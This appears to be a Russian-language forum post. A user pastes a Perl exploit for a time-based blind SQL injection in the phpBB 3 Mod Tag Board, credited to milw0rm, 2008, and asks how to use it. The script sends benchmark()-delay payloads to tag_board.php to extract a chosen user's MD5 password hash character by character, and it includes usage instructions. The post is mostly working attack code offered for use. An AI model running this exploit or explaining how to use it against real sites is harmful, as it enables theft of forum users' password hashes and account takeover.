вот есть эксплоит...


phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit

#!/usr/bin/perl
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102);
my $http = new LWP::UserAgent;

my $host = shift;
my $table = shift;
my $myid = shift or &usage;


sub injection
{
my ($sub,$char) = @_;

return "/tag_board.php?mode=controlpanel&action=delete&id=" .
"1+and+(select+if((ascii(substring(user_password,$ {sub},1)".
")=${char}),benchmark(230000000,char(0)),0)+from+$ {table}_us".
"ers+where+user_id=${myid})--";
}


sub usage
{
print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
print STDOUT "by athos - staker[at]hotmail[dot]it\n";
exit;
}


syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
for my $j(0..16)
{
$time1 = time();

$http->get($host.injection($i,$chars[$j]));

$time2 = time();

if($time2 - $time1 > 6)
{
syswrite(STDOUT,chr($chars[$j]));
$hash .= chr($chars[$j]);
last;
}

if($i == 1 && length $hash < 0)
{
syswrite(STDOUT,"Exploit Failed!\n");
exit;
}
}
}

# milw0rm.com [2008-12-08]


объясните пожалуйста как им воспользоватся...